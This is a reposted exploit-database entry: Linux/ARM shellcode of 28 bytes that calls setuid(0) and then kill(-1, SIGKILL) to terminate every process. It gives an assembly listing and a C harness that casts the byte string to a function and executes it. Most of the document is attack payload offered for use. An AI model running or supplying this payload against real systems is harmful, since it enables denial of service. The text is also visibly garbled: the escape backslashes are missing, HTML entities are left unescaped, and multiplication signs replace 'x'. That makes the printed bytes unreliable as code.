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linux/ARM – setuid(0) &amp; kill(-1, SIGKILL) – 28 bytes
====================================================

/*
Title: Linux/ARM – setuid(0) &amp; kill(-1, SIGKILL) – 28 bytes
(Kill all processes)

Date: 2010-06-29
Tested: ARM926EJ-S rev 5 (v5l)

Author: Jonathan Salwan
Web: http://shell-storm.org | http://twitter.com/shell_storm

! Dtabase of shellcodes http://www.shell-storm.org/shellcode/

8054: e28f3001 add r3, pc, #1 ; 0×1
8058: e12fff13 bx r3
805c: 1b24 subs r4, r4, r4
805e: 1c20 adds r0, r4, #0
8060: 2717 movs r7, #23
8062: df01 svc 1
8064: 1a92 subs r2, r2, r2
8066: 1c10 adds r0, r2, #0
8068: 3801 subs r0, #1
806a: 2109 movs r1, #9
806c: 2725 movs r7, #37
806e: df01 svc 1

*/

#include &lt;stdio.h&gt;

/* kill all processes without setuid(0) – 20 bytes */

// char *SC = &quot;x01×30x8fxe2&quot;
// &quot;x13xffx2fxe1&quot;
// &quot;x92×1ax10×1c&quot;
// &quot;x01×38x09×21&quot;
// &quot;x25×27x01xdf&quot;;

/* kill all processes with setuid(0) – 28 byes */

char *SC = &quot;x01×30x8fxe2&quot;
&quot;x13xffx2fxe1&quot;
&quot;x24×1bx20×1c&quot;
&quot;x17×27x01xdf&quot;
&quot;x92×1ax10×1c&quot;
&quot;x01×38x09×21&quot;
&quot;x25×27x01xdf&quot;;

int main(void)
{
fprintf(stdout,&quot;Length: %dn&quot;,strlen(SC));
(*(void(*)()) SC)();
return 0;
}

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Source: http://inj3ct0r.com/exploits/12268